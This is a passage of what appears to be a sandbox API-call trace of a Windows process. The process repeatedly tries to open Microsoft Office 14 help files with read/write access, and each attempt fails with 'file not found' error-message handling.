Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.370] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.370] GetLastError () returned 0x2 [0137.370] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.370] GetLastError () returned 0x2 [0137.370] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.370] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.370] lstrlenW (lpString="CreateFile") returned 10 [0137.371] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.371] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.371] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.371] lstrlenW (lpString="2") returned 1 [0137.371] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.371] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.371] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.371] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.371] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.371] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.371] LocalFree (hMem=0x24b2360) returned 0x0 [0137.371] LocalFree (hMem=0x279c770) returned 0x0 [0137.371] GetLastError () returned 0x2 [0137.371] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.371] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.371] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.371] GetLastError () returned 0x2 [0137.371] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.371] GetLastError () returned 0x2 [0137.371] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.371] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.371] lstrlenW (lpString="CreateFile") returned 10 [0137.371] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.371] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.372] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.372] lstrlenW (lpString="2") returned 1 [0137.372] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.372] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.372] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.372] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.372] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.372] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.372] LocalFree (hMem=0x24b2360) returned 0x0 [0137.372] LocalFree (hMem=0x279c770) returned 0x0 [0137.372] GetLastError () returned 0x2 [0137.372] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.372] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.372] GetLastError () returned 0x2 [0137.372] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.372] GetLastError () returned 0x2 [0137.372] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.372] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.372] lstrlenW (lpString="CreateFile") returned 10 [0137.372] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.372] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.372] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.372] lstrlenW (lpString="2") returned 1 [0137.373] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.373] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.373] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.373] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.373] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.373] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.373] LocalFree (hMem=0x24b2360) returned 0x0 [0137.373] LocalFree (hMem=0x279c770) returned 0x0 [0137.373] GetLastError () returned 0x2 [0137.373] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.373] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.373] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.373] GetLastError () returned 0x2 [0137.373] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.373] GetLastError () returned 0x2 [0137.373] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.373] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.373] lstrlenW (lpString="CreateFile") returned 10 [0137.373] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.373] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.373] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.373] lstrlenW (lpString="2") returned 1 [0137.373] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.374] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.374] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.374] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.374] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.374] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.374] LocalFree (hMem=0x24b2360) returned 0x0 [0137.374] LocalFree (hMem=0x279c770) returned 0x0 [0137.374] GetLastError () returned 0x2 [0137.374] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.374] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.374] GetLastError () returned 0x2 [0137.374] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.374] GetLastError () returned 0x2 [0137.374] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.374] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.374] lstrlenW (lpString="CreateFile") returned 10 [0137.374] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.374] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.374] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.374] lstrlenW (lpString="2") returned 1 [0137.374] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.374] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.375] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.375] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.375] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.375] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.375] LocalFree (hMem=0x24b2360) returned 0x0 [0137.375] LocalFree (hMem=0x279c770) returned 0x0 [0137.375] GetLastError () returned 0x2 [0137.375] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.375] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.375] GetLastError () returned 0x2 [0137.375] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.375] GetLastError () returned 0x2 [0137.375] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.375] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.375] lstrlenW (lpString="CreateFile") returned 10 [0137.375] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.375] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.375] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.375] lstrlenW (lpString="2") returned 1 [0137.375] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.375] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.375] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.376] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.376] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.376] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.376] LocalFree (hMem=0x24b2360) returned 0x0 [0137.376] LocalFree (hMem=0x279c770) returned 0x0 [0137.376] GetLastError () returned 0x2 [0137.376] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.376] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.376] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.376] GetLastError () returned 0x2 [0137.376] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.376] GetLastError () returned 0x2 [0137.376] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.376] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.376] lstrlenW (lpString="CreateFile") returned 10 [0137.376] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.376] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.376] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.376] lstrlenW (lpString="2") returned 1 [0137.376] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.376] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.376] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.376] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.376] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.377] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.377] LocalFree (hMem=0x24b2360) returned 0x0 [0137.377] LocalFree (hMem=0x279c770) returned 0x0 [0137.377] GetLastError () returned 0x2 [0137.377] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.377] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.377] GetLastError () returned 0x2 [0137.377] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.377] GetLastError () returned 0x2 [0137.377] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.377] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.377] lstrlenW (lpString="CreateFile") returned 10 [0137.377] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.377] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.377] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.377] lstrlenW (lpString="2") returned 1 [0137.377] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.377] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.377] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.377] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.377] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.377] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.378] LocalFree (hMem=0x24b2360) returned 0x0 [0137.378] LocalFree (hMem=0x279c770) returned 0x0 [0137.378] GetLastError () returned 0x2 [0137.378] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.378] GetLastError () returned 0x2 [0137.378] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.378] GetLastError () returned 0x2 [0137.378] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.378] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.378] lstrlenW (lpString="CreateFile") returned 10 [0137.378] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.378] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.378] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.378] lstrlenW (lpString="2") returned 1 [0137.378] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.378] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.378] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.378] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.378] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.378] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.378] LocalFree (hMem=0x24b2360) returned 0x0 [0137.378] LocalFree (hMem=0x279c770) returned 0x0 [0137.379] GetLastError () returned 0x2 [0137.379] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.379] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.379] GetLastError () returned 0x2 [0137.379] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.379] GetLastError () returned 0x2 [0137.379] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.379] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.379] lstrlenW (lpString="CreateFile") returned 10 [0137.379] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.379] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.379] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.379] lstrlenW (lpString="2") returned 1 [0137.379] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.379] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.379] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.379] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.379] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.379] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.379] LocalFree (hMem=0x24b2360) returned 0x0 [0137.379] 